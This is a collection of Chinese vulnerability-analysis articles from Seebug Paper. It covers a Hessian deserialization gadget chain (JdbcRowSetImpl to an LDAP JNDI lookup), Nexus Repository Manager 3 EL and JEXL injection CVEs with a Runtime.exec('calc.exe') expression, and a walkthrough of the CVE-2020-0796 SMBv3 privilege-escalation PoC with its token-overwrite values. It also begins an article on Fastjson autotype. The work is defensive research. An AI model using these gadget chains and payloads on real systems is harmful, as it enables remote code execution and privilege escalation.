1234567891011121314151617181920212223242526272829//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookupString jndiUrl = "ldap://localhost:1389/obj";JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName(jndiUrl);rs.setMatchColumn("foo");//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toStringToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCodeEqualsBean root = new EqualsBean(ToStringBean.class, item);//HashMap.put->HashMap.putVal->HashMap.hashHashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);看下触发过程:
经过
HessianInput.readObject()
,到了MapDeserializer.readMap(in)
进行处理Map类型属性,这里触发了HashMap.put(key,value)
:接着调用了hash方法,其中调用了
key.hashCode
方法:接着触发了
EqualsBean.hashCode->EqualsBean.beanHashCode
:触发了
ToStringBean.toString
:这里调用了
JdbcRowSetImpl.getDatabaseMetadata
,其中又触发了JdbcRowSetImpl.connect
->context.lookup
:小结
通过以上两条链可以看出,在Hessian反序列化中基本都是利用了反序列化处理Map类型时,会触发调用
Map.put
->Map.putVal
->key.hashCode
/key.equals
->...,后面的一系列出发过程,也都与多态特性有关,有的类属性是Object类型,可以设置为任意类,而在hashCode、equals方法又恰好调用了属性的某些方法进行后续的一系列触发。所以要挖掘这样的利用链,可以直接找有hashCode、equals以及readResolve方法的类,然后人进行判断与构造,不过这个工作量应该很大;或者使用一些利用链挖掘工具,根据需要编写规则进行扫描。Apache Dubbo反序列化简单分析
Apache Dubbo Http反序列化
先简单看下之前说到的HTTP问题吧,直接用官方提供的samples,其中有一个dubbo-samples-http可以直接拿来用,直接在
DemoServiceImpl.sayHello
方法中打上断点,在RemoteInvocationSerializingExporter.doReadRemoteInvocation
中反序列化了数据,使用的是Java Serialization方式:抓包看下,很明显的
ac ed
标志:Apache Dubbo Dubbo反序列化
同样使用官方提供的dubbo-samples-basic,默认Dubbo hessian2协议,Dubbo对hessian2进行了魔改,不过大体结构还是差不多,在
MapDeserializer.readMap
是依然与Hessian类似:参考
- https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html
- https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf
- https://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
- https://zhuanlan.zhihu.com/p/44787200
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1131/
-
Nexus Repository Manager 3 几次表达式解析漏洞
作者:Longofo@知道创宇404实验室
时间:2020年4月8日Nexus Repository Manager 3最近曝出两个el表达式解析漏洞,编号为CVE-2020-10199,CVE-2020-10204,都是由Github Secutiry Lab团队的@pwntester发现。由于之前Nexus3的漏洞没有去跟踪,所以当时diff得很头疼,并且Nexus3 bug与安全修复都是混在一起,更不容易猜到哪个可能是漏洞位置了。后面与@r00t4dm师傅一起复现出了CVE-2020-10204,CVE-2020-10204是CVE-2018-16621的绕过,之后又有师傅弄出了CVE-2020-10199,这三个漏洞的根源是一样的,其实并不止这三处,官方可能已经修复了好几处这样的漏洞,由于历史不太好追溯回去,所以加了可能,通过后面的分析,就能看到了。还有之前的CVE-2019-7238,这是一个jexl表达式解析,一并在这里分析下,以及对它的修复问题,之前看到有的分析文章说这个漏洞是加了个权限来修复,可能那时是真的只加了个权限吧,不过我测试用的较新的版本,加了权限貌似也没用,在Nexus3高版本已经使用了jexl白名单的沙箱。
测试环境
文中会用到三个Nexus3环境:
- nexus-3.14.0-04
- nexus-3.21.1-01
- nexus-3.21.2-03
nexus-3.14.0-04
用于测试jexl表达式解析,nexus-3.21.1-01
用于测试jexl表达式解析与el表达式解析以及diff,nexus-3.21.2-03
用于测试el表达式解析以及diff漏洞diff
CVE-2020-10199、CVE-2020-10204漏洞的修复界限是3.21.1与3.21.2,但是github开源的代码分支好像不对应,所以只得去下载压缩包来对比了。在官方下载了
nexus-3.21.1-01
与nexus-3.21.2-03
,但是beyond对比需要目录名一样,文件名一样,而不同版本的代码有的文件与文件名都不一样。我是先分别反编译了对应目录下的所有jar包,然后用脚本将nexus-3.21.1-01
中所有的文件与文件名中含有3.21.1-01的替换为了3.21.2-03,同时删除了META文件夹,这个文件夹对漏洞diff没什么用并且影响diff分析,所以都删除了,下面是处理后的效果:如果没有调试和熟悉之前的Nexus3漏洞,直接去看diff可能会看得很头疼,没有目标的diff。
路由以及对应的处理类
一般路由
抓下nexus3发的包,随意的点点点,可以看到大多数请求都是POST类型的,URI都是
/service/extdirect
:post内容如下:
1{"action":"coreui_Repository","method":"getBrowseableFormats","data":null,"type":"rpc","tid":7}可以看下其他请求,json中都有
action
与method
这两个key,在代码中搜索下coreui_Repository
这个关键字:可以看到这样的地方,展开看下代码:
通过注解方式注入了action,上面post的
method->getBrowseableFormats
也在中,通过注解注入了对应的method:所以之后这样的请求,我们就很好定位路由与对应的处理类了
API路由
Nexus3的API也出现了漏洞,来看下怎么定位API的路由,在后台能看到Nexus3提供的所有API。
点几个看下包,有GET、POST、DELETE、PUT等类型的请求:
没有了之前的action与method,这里用URI来定位,直接搜索
/service/rest/beta/security/content-selectors
定位不到,所以缩短关键字,用/beta/security/content-selectors
来定位:通过@Path注解来注入URI,对应的处理方式也使用了对应的@GET、@POST来注解
可能还有其他类型的路由,不过也可以使用上面类似的方式进行搜索来定位。还有Nexus的权限问题,可以看到上面有的请求通过@RequiresPermissions来设置了权限,不过还是以实际的测试权限为准,有的在到达之前也进行了权限校验,有的操作虽然在web页面的admin页面,不过本不需要admin权限,可能无权限或者只需要普通权限。
buildConstraintViolationWithTemplate造成的几次Java EL漏洞
在跟踪调试了CVE-2018-16621与CVE-2020-10204之后,感觉
buildConstraintViolationWithTemplate
这个keyword可以作为这个漏洞的根源,因为从调用栈可以看出这个函数的调用处于Nexus包与hibernate-validator包的分界,并且计算器的弹出也是在它之后进入hibernate-validator的处理流程,即buildConstraintViolationWithTemplate(xxx).addConstraintViolation()
,最终在hibernate-validator包中的ElTermResolver中通过valueExpression.getValue(context)
完成了表达式的执行,与@r00t4dm师傅也说到了这个:于是反编译了Nexus3所有jar包,然后搜索这个关键词(使用的修复版本搜索,主要是看有没有遗漏的地方没修复;Nexue3有开源部分代码,也可以直接在源码搜索):
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\com\sonatype\nexus\plugins\nexus-healthcheck-base\3.21.2-03\nexus-healthcheck-base-3.21.2-03\com\sonatype\nexus\clm\validator\ClmAuthenticationValidator.java:26 return this.validate(ClmAuthenticationType.valueOf(iqConnectionXo.getAuthenticationType(), ClmAuthenticationType.USER), iqConnectionXo.getUsername(), iqConnectionXo.getPassword(), context);27 } else {28: context.buildConstraintViolationWithTemplate("unsupported annotated object " + value).addConstraintViolation();29 return false;30 }..35 case 1:36 if (StringUtils.isBlank(username)) {37: context.buildConstraintViolationWithTemplate("User Authentication method requires the username to be set.").addPropertyNode("username").addConstraintViolation();38 }3940 if (StringUtils.isBlank(password)) {41: context.buildConstraintViolationWithTemplate("User Authentication method requires the password to be set.").addPropertyNode("password").addConstraintViolation();42 }43..52 }5354: context.buildConstraintViolationWithTemplate("To proceed with PKI Authentication, clear the username and password fields. Otherwise, please select User Authentication.").addPropertyNode("authenticationType").addConstraintViolation();55 return false;56 default:57: context.buildConstraintViolationWithTemplate("unsupported authentication type " + authenticationType).addConstraintViolation();58 return false;59 }F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\constraintvalidators\hv\ScriptAssertValidator.java:34 if (!validationResult && !this.reportOn.isEmpty()) {35 constraintValidatorContext.disableDefaultConstraintViolation();36: constraintValidatorContext.buildConstraintViolationWithTemplate(this.message).addPropertyNode(this.reportOn).addConstraintViolation();37 }38F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\engine\constraintvalidation\ConstraintValidatorContextImpl.java:55 }5657: public ConstraintViolationBuilder buildConstraintViolationWithTemplate(String messageTemplate) {58 return new ConstraintValidatorContextImpl.ConstraintViolationBuilderImpl(messageTemplate, this.getCopyOfBasePath());59 }F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.0-02\nexus-cleanup-3.21.0-02\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:18 } catch (RegexCriteriaValidator.InvalidExpressionException var4) {19 context.disableDefaultConstraintViolation();20: context.buildConstraintViolationWithTemplate(var4.getMessage()).addConstraintViolation();21 return false;22 }F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.2-03\nexus-cleanup-3.21.2-03\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:18 } catch (RegexCriteriaValidator.InvalidExpressionException var4) {19 context.disableDefaultConstraintViolation();20: context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();21 return false;22 }F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-scheduling\3.21.2-03\nexus-scheduling-3.21.2-03\org\sonatype\nexus\scheduling\constraints\CronExpressionValidator.java:29 } catch (IllegalArgumentException var4) {30 context.disableDefaultConstraintViolation();31: context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();32 return false;33 }F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\privilege\PrivilegesExistValidator.java:42 if (!privilegeId.matches("^[a-zA-Z0-9\\-]{1}[a-zA-Z0-9_\\-\\.]*$")) {43 context.disableDefaultConstraintViolation();44: context.buildConstraintViolationWithTemplate("Invalid privilege id: " + this.getEscapeHelper().stripJavaEl(privilegeId) + ". " + "Only letters, digits, underscores(_), hyphens(-), and dots(.) are allowed and may not start with underscore or dot.").addConstraintViolation();45 return false;46 }..55 } else {56 context.disableDefaultConstraintViolation();57: context.buildConstraintViolationWithTemplate("Missing privileges: " + missing).addConstraintViolation();58 return false;59 }F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RoleNotContainSelfValidator.java:49 if (this.containsRole(id, roleId, processedRoleIds)) {50 context.disableDefaultConstraintViolation();51: context.buildConstraintViolationWithTemplate(this.message).addConstraintViolation();52 return false;53 }F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RolesExistValidator.java:42 } else {43 context.disableDefaultConstraintViolation();44: context.buildConstraintViolationWithTemplate("Missing roles: " + missing).addConstraintViolation();45 return false;46 }F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-validation\3.21.2-03\nexus-validation-3.21.2-03\org\sonatype\nexus\validation\ConstraintViolationFactory.java:75 public boolean isValid(ConstraintViolationFactory.HelperBean bean, ConstraintValidatorContext context) {76 context.disableDefaultConstraintViolation();77: ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(bean.getMessage()));78 NodeBuilderCustomizableContext nodeBuilder = null;79 String[] var8;后面作者也发布了漏洞分析,确实用了
buildConstraintViolationWithTemplate
作为了漏洞的根源,利用这个关键点做的污点跟踪分析。从上面的搜索结果中可以看到,el表达式导致的那三个CVE关键点也在其中,同时还有其他几个地方,有几个使用了
this.getEscapeHelper().stripJavaEl
做了清除,还有几个,看起来似乎也可以,心里一阵狂喜?然而,其他几个没有做清除的地方虽然能通过路由进入,但是利用不了,后面会挑选其中的一个做下分析。所以在开始说了官方可能修复了几个类似的地方,猜想有两种可能:- 官方自己察觉到了那几个地方也会存在el解析漏洞,所以做了清除
- 有其他漏洞发现者提交了那几个做了清除的漏洞点,因为那几个地方可以利用;但是没清除的那几个地方由于没法利用,所以发现者并没有提交,官方也没有去做清除
不过感觉后一种可能性更大,毕竟官方不太可能有的地方做清除,有的地方不做清除,要做也是一起做清除工作。
CVE-2018-16621分析
这个漏洞对应上面的搜索结果是RolesExistValidator,既然搜索到了关键点,自己来手动逆向回溯下看能不能回溯到有路由处理的地方,这里用简单的搜索回溯下。
关键点在
RolesExistValidator的isValid
,调用了buildConstraintViolationWithTemplate
。搜索下有没有调用RolesExistValidator
的地方:在RolesExist中有调用,这种写法一般会把RolesExist当作注解来使用,并且进行校验时会调用
RolesExistValidator.isValid()
。继续搜索RolesExist:有好几处直接使用了RolesExist对roles属性进行注解,可以一个一个去回溯,不过按照Role这个关键字RoleXO可能性更大,所以先看这个(UserXO也可以的),继续搜索RoleXO:
会有很多其他干扰的,比如第一个红色标注
RoleXOResponse
,这种可以忽略,我们找直接使用RoleXO的
地方。在RoleComponent
中,看到第二个红色标注这种注解大概就知道,这里能进入路由了。第三个红色标注使用了roleXO,并且有roles关键字,上面RolesExist也是对roles进行注解的,所以这里猜测是对roleXO进行属性注入。有的地方反编译出来的代码不好理解,可以结合源码看:可以看到这里就是将提交的参数注入给了roleXO,RoleComponent对应的路由如下:
通过上面的分析,我们大概知道了能进入到最终的
RolesExistValidator
,不过中间可能还有很多条件需要满足,需要构造payload然后一步一步测。这个路由对应的web页面位置如下:测试(这里使用的3.21.1版本,CVE-2018-16621是之前的漏洞,在3.21.1早修复了,不过3.21.1又被绕过了,所以下面使用的是绕过的情况,将
$
换成$\\x
去绕过,绕过在后面两个CVE再说):修复方式:
加上了
getEscapeHelper().stripJavaEL
对el表达式做了清除,将${
替换为了{
,之后的两个CVE就是对这个修复方式的绕过:CVE-2020-10204分析
这就是上面说到的对之前
stripJavaEL
修复的绕过,这里就不细分析了,利用$\\x
格式就不会被替换掉(使用3.21.1版本测试):CVE-2020-10199分析
这个漏洞对应上面搜索结果是
ConstraintViolationFactory
:buildConstraintViolationWith
(标号1)出现在了HelperValidator
(标号2)的isValid
中,HelperValidator
又被注解在HelperAnnotation
(标号3、4)之上,HelperAnnotation
注解在了HelperBean
(标号5)之上,在ConstraintViolationFactory.createViolation
方法中使用到了HelperBean
(标号6、7)。按照这个思路要找调用了ConstraintViolationFactory.createViolation
的地方。也来手动逆向回溯下看能不能回溯到有路由处理的地方。
搜索ConstraintViolationFactory:
有好几个,这里使用第一个
BowerGroupRepositoriesApiResource
分析,点进去看就能看出它是一个API路由:ConstraintViolationFactory
被传递给了super
,在BowerGroupRepositoriesApiResource
并没有调用ConstraintViolationFactory
的其他函数,不过它的两个方法,也是调用了super
对应的方法。它的super
是AbstractGroupRepositoriesApiResource
类:BowerGroupRepositoriesApiResource
构造函数中调用的super
,在AbstractGroupRepositoriesApiResourc
e赋值了ConstraintViolationFactory
(标号1),ConstraintViolationFactory
的使用(标号2),调用了createViolation
(在后面可以看到memberNames参数),这也是之前要到达漏洞点所需要的,这个调用处于validateGroupMembers
中(标号3),validateGroupMembers
的调用在createRepository
(标号4)和updateRepository
(标号5)中都进行了调用,而这两个方法通过上面的注解也可以看出,通过外部传递请求能到达。BowerGroupRepositoriesApiResource
的路由为/beta/repositories/bower/group
,在后台API找到它来进行调用(使用3.21.1测试):还有
AbstractGroupRepositoriesApiResource
的其他几个子类也是可以的:CleanupPolicyAssetNamePatternValidator未做清除点分析
对应上面搜索结果的
CleanupPolicyAssetNamePatternValidator
,可以看到这里并没有做StripEL
清除操作:这个变量是通过报错抛出放到
buildConstraintViolationWithTemplate
中的,要是报错信息中包含了value值,那么这里就是可以利用的。搜索
CleanupPolicyAssetNamePatternValidator
:在
CleanupPolicyAssetNamePattern
类注解中使用了,继续搜索CleanupPolicyAssetNamePattern
:在
CleanupPolicyCriteri
a中的属性regex
被CleanupPolicyAssetNamePattern
注解了,继续搜索CleanupPolicyCriteria
:在
CleanupPolicyComponent
中的to CleanupPolicy
方法中有调用,其中的cleanupPolicyXO.getCriteria
也正好是CleanupPolicyCriteria
对象。toCleanupPolic
y在CleanupPolicyComponent
的可通过路由进入的create、previewCleanup
方法又调用了toCleanupPolicy
。构造payload测试:
然而这里并不能利用,value值不会被包含在报错信息中,去看了下
RegexCriteriaValidator.validate
,无论如何构造,最终也只会抛出value中的一个字符,所以这里并不能利用。与这个类似的是
CronExpressionValidator
,那里也是通过抛出异常,但是那里是可以利用的,不过被修复了,可能之前已经有人提交过了。还有其他几个没做清除的地方,要么被if、else跳过了,要么不能利用。人工去回溯查找的方式,如果关键字被调用的地方不多可能还好,不过要是被大量使用,可能就不是那么好处理了。不过上面几个漏洞,可以看到通过手动回溯查找还是可行的。
JXEL造成的漏洞(CVE-2019-7238)
可以参考下@iswin大佬之前的分析https://www.anquanke.com/post/id/171116,这里就不再去调试截图了。这里想写下之前对这个漏洞的修复,说是加了权限来修复,要是只加了权限,那不是还能提交一下?不过,测试了下3.21.1版本,就算用admin权限也无法利用了,想去看下是不是能绕过。在3.14.0中测试,确实是可以的:
但是3.21.1中,就算加了权限,也是不行的。后面分别调试对比了下,以及通过下面这个测试:
12345678JexlEngine jexl = new JexlBuilder().create();String jexlExp = "''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')";JexlExpression e = jexl.createExpression(jexlExp);JexlContext jc = new MapContext();jc.set("foo", "aaa");e.evaluate(jc);才知道3.14.0与上面这个测试使用的是
org.apache.commons.jexl3.internal.introspection.Uberspect
处理,它的getMethod方法如下:而在3.21.1中Nexus设置的是
org.apache.commons.jexl3.internal.introspection.SandboxJexlUberspect
,这个SandboxJexlUberspect
,它的get Method方法如下:可以看出只允许调用String、Map、Collection类型的有限几个方法了。
总结
- 看完上面的内容,相信对Nexus3的漏洞大体有了解了,不会再无从下手的感觉。尝试看下下其他地方,例如后台有个LDAP,可进行jndi connect操作,不过那里调用的是
context.getAttribute
,虽然会远程请求class文件,不过并不会加载class,所以并没有危害。 - 有的漏洞的根源点可能会在一个应用中出现相似的地方,就像上面那个
buildConstraintViolationWithTemplate
这个keyword一样,运气好说不定一个简单的搜索都能碰到一些相似漏洞(不过我运气貌似差了点,通过上面的搜索可以看到某些地方的修复,说明已经有人先行一步了,直接调用了buildConstraintViolationWithTemplate
并且可用的地方似乎已经没有了) - 仔细看下上面几个漏洞的payload,好像相似度很高,所以可以弄个类似fuzz参数的工具,搜集这个应用的历史漏洞payload,每个参数都可以测试下对应的payload,运气好可能会撞到一些相似漏洞
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1166/
-
CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析
作者:SungLin@知道创宇404实验室
时间:2020年4月2日
英文版本:https://paper.seebug.org/1165/0x00 漏洞背景
2020年3月12日微软确认在Windows 10最新版本中存在一个影响SMBv3协议的严重漏洞,并分配了CVE编号CVE-2020-0796,该漏洞可能允许攻击者在SMB服务器或客户端上远程执行代码,3月13日公布了可造成BSOD的poc,3月30日公布了可本地特权提升的poc, 这里我们来分析一下本地特权提升的poc。
0x01 漏洞利用原理
漏洞存在于在srv2.sys驱动中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候调用函数
Srv2DecompressData
处理压缩数据时候,对压缩数据头部压缩数据大小OriginalCompressedSegmentSize
和其偏移Offset
的没有检查其是否合法,导致其相加可分配较小的内存,后面调用SmbCompressionDecompress
进行数据处理时候使用这片较小的内存可导致拷贝溢出或越界访问,而在执行本地程序的时候,可通过获取当前本地程序的token+0x40
的偏移地址,通过发送压缩数据给SMB服务器,之后此偏移地址在解压缩数据时候拷贝的内核内存中,通过精心构造的内存布局在内核中修改token将权限提升。0x02 获取Token
我们先来分析下代码,POC程序和smb建立连接后,首先会通过调用函数
OpenProcessToken
获取本程序的Token,获得的Token偏移地址将通过压缩数据发送到SMB服务器中在内核驱动进行修改,而这个Token就是本进程的句柄的在内核中的偏移地址,Token是一种内核内存结构,用于描述进程的安全上下文,包含如进程令牌特权、登录ID、会话ID、令牌类型之类的信息。以下是我测试获得的Token偏移地址:
0x03 压缩数据
接下来poc会调用
RtCompressBuffer
来压缩一段数据,通过发送这段压缩数据到SMB服务器,SMB服务器将会在内核利用这个token偏移,而这段数据是'A'*0x1108+ (ktoken + 0x40)
。而经压缩后的数据长度0x13,之后这段压缩数据除去压缩数据段头部外,发送出去的压缩数据前面将会连接两个相同的值
0x1FF2FF00BC
,而这两个值将会是提权的关键。0x04 调试
我们先来进行调试,首先因为这里是整数溢出漏洞,在
srv2!Srv2DecompressData
函数这里将会因为加法0xffff ffff + 0x10 = 0xf
导致整数溢出,并且进入srvnet!SrvNetAllocateBuffer
分配一个较小的内存。在进入了
srvnet!SmbCompressionDecompress
然后进入nt!RtlDecompressBufferEx2
继续进行解压,最后进入函数nt!PoSetHiberRange
,再开始进行解压运算,通过OriginalSize= 0xffff ffff
与刚开始整数溢出分配的UnCompressBuffer
存储数据的内存地址相加得一个远远大于限制范围的地址,将会造成拷贝溢出。但是我们最后需要复制的数据大小是0x1108,所以到底还是没有溢出,因为真正分配的数据大小是0x1278,通过
srvnet!SrvNetAllocateBuffer
进入池内存分配的时候,最后进入srvnet!SrvNetAllocateBufferFromPool
调用nt!ExAllocatePoolWithTag
来分配池内存:虽然拷贝没有溢出,但是却把这片内存的其他变量给覆盖了,包括
srv2!Srv2DecompressDatade
的返回值,nt!ExAllocatePoolWithTag
分配了一个结构体来存储有关解压的信息与数据,存储解压数据的偏移相对于UnCompressBuffer_address
是固定的0x60
,而返回值相对于UnCompressBuffer_address
偏移是固定的0x1150
,也就是说存储UnCompressBuffer
的地址相对于返回值的偏移是0x10f0
,而存储offset
数据的地址是0x1168
,相对于存储解压数据地址的偏移是0x1108
。有一个问题是为什么是固定的值,因为在这次传入的
OriginalSize= 0xffff ffff
,offset=0x10
,乘法整数溢出为0xf
,而在srvnet! SrvNetAllocateBuffer
中,对于传入的大小0xf
做了判断,小于0x1100
的时候将会传入固定的值0x1100
作为后面结构体空间的内存分配值进行相应运算。然后回到解压数据这里,需解压数据的大小是
0x13
,解压将会正常进行,拷贝了0x1108
个'A'后,将会把8字节大小token+0x40
的偏移地址拷贝到'A'的后面。解压完并复制解压数据到刚开始分配的地址后正常退出解压函数,接着就会调用
memcpy
进行下一步的数据拷贝,关键的地方是现在rcx
变成了刚开始传入的本地程序的token+0x40
的地址!!回顾一下解压缩后,内存数据的分布
0x1100(‘A’)+Token=0x1108
,然后再调用了srvnet!SrvNetAllocateBuffer
函数后返回我们需要的内存地址,而v8的地址刚好是初始化内存偏移的0x10f0
,所以v8+0x18=0x1108
,拷贝的大小是可控的,为传入的offset
大小是0x10
,最后调用memcpy
将源地址就是压缩数据0x1FF2FF00BC
拷贝到目的地址是0xffff9b893fdc46f0(token+0x40)
的后16字节将被覆盖,成功修改Token的值。0x05 提权
而覆盖的值是两个相同的
0x1FF2FF00BC
,为什么用两个相同的值去覆盖token+0x40
的偏移呢,这就是在windows内核中操作Token提升权限的方法之一了,一般是两种方法:第一种方法是直接覆盖Token,第二种方法是修改Token,这里采用的是修改Token。
在windbg中可运行
kd> dt _token
的命令查看其结构体:所以修改
_SEP_TOKEN_PRIVILEGES
的值可以开启禁用, 同时修改Present
和Enabled
为SYSTEM
进程令牌具有的所有特权的值0x1FF2FF00BC
,之后权限设置为:这里顺利在内核提升了权限,接下来通过注入常规的
shellcode
到windows进程winlogon.exe
中执行任意代码:如下所示执行了弹计算器的动作:
参考链接:
- https://github.com/eerykitty/CVE-2020-0796-PoC
- https://github.com/danigargu/CVE-2020-0796
- https://ired.team/miscellaneous-reversing-forensics/windows-kernel/how-kernel-exploits-abuse-tokens-for-privilege-escalation
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1164/
-
Fastjson 反序列化漏洞史
作者:Longofo@知道创宇404实验室
时间:2020年4月27日
英文版本:https://paper.seebug.org/1193/Fastjson没有cve编号,不太好查找时间线,一开始也不知道咋写,不过还是慢慢写出点东西,幸好fastjson开源以及有师傅们的一路辛勤记录。文中将给出与Fastjson漏洞相关的比较关键的更新以及漏洞时间线,会对一些比较经典的漏洞进行测试及修复说明,给出一些探测payload,rce payload。
Fastjson解析流程
可以参考下@Lucifaer师傅写的fastjson流程分析,这里不写了,再写篇幅就占用很大了。文中提到fastjson有使用ASM生成的字节码,由于实际使用中很多类都不是原生类,fastjson序列化/反序列化大多数类时都会用ASM处理,如果好奇想查看生成的字节码,可以用idea动态调试时保存字节文件:
插入的代码为:
12345678910111213141516171819202122232425262728293031BufferedOutputStream bos = null;FileOutputStream fos = null;File file = null;String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";try {File dir = new File(filePath);if (!dir.exists()) {dir.mkdirs();}file = new File(filePath + className + ".class");fos = new FileOutputStream(file);bos = new BufferedOutputStream(fos);bos.write(code);} catch (Exception e) {e.printStackTrace();} finally {if (bos != null) {try {bos.close();} catch (IOException e) {e.printStackTrace();}}if (fos != null) {try {fos.close();} catch (IOException e) {e.printStackTrace();}}}生成的类:
但是这个类并不能用于调试,因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息,所以不能调试。不过通过在Expression那个窗口重写部分代码,生成可用于调式的bytecode应该也是可行的(我没有测试,如果有时间和兴趣,可以看下ASM怎么生成可用于调试的字节码)。
Fastjson 样例测试
首先用多个版本测试下面这个例子:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455//User.javapackage com.longofo.test;public class User {private String name; //私有属性,有getter、setter方法private int age; //私有属性,有getter、setter方法private boolean flag; //私有属性,有is、setter方法public String sex; //公有属性,无getter、setter方法private String address; //私有属性,无getter、setter方法public User() {System.out.println("call User default Constructor");}public String getName() {System.out.println("call User getName");return name;}public void setName(String name) {System.out.println("call User setName");this.name = name;}public int getAge() {System.out.println("call User getAge");return age;}public void setAge(int age) {System.out.println("call User setAge");this.age = age;}public boolean isFlag() {System.out.println("call User isFlag");return flag;}public void setFlag(boolean flag) {System.out.println("call User setFlag");this.flag = flag;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +", flag=" + flag +", sex='" + sex + '\'' +", address='" + address + '\'' +'}';}}12345678910111213141516171819202122232425262728293031323334353637383940package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test1 {public static void main(String[] args) {//序列化String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//System.out.println("serializedStr=" + serializedStr);System.out.println("-----------------------------------------------\n\n");//通过parse方法进行反序列化,返回的是一个JSONObject]System.out.println("JSON.parse(serializedStr):");Object obj1 = JSON.parse(serializedStr);System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());System.out.println("parse反序列化:" + obj1);System.out.println("-----------------------------------------------\n");//通过parseObject,不指定类,返回的是一个JSONObjectSystem.out.println("JSON.parseObject(serializedStr):");Object obj2 = JSON.parseObject(serializedStr);System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());System.out.println("parseObject反序列化:" + obj2);System.out.println("-----------------------------------------------\n");//通过parseObject,指定为object.classSystem.out.println("JSON.parseObject(serializedStr, Object.class):");Object obj3 = JSON.parseObject(serializedStr, Object.class);System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());System.out.println("parseObject反序列化:" + obj3);System.out.println("-----------------------------------------------\n");//通过parseObject,指定为User.classSystem.out.println("JSON.parseObject(serializedStr, User.class):");Object obj4 = JSON.parseObject(serializedStr, User.class);System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());System.out.println("parseObject反序列化:" + obj4);System.out.println("-----------------------------------------------\n");}}说明:
- 这里的@type就是对应常说的autotype功能,简单理解为fastjson会自动将json的
key:value
值映射到@type对应的类中 - 样例User类的几个方法都是比较普通的方法,命名、返回值也都是常规的符合bean要求的写法,所以下面的样例测试有的特殊调用不会覆盖到,但是在漏洞分析中,可以看到一些特殊的情况
- parse用了四种写法,四种写法都能造成危害(不过实际到底能不能利用,还得看版本和用户是否打开了某些配置开关,具体往后看)
- 样例测试都使用jdk8u102,代码都是拉的源码测,主要是用样例说明autotype的默认开启、checkautotype的出现、以及黑白名白名单从哪个版本开始出现的过程以及增强手段
1.1.157测试
这应该是最原始的版本了(tag最早是这个),结果:
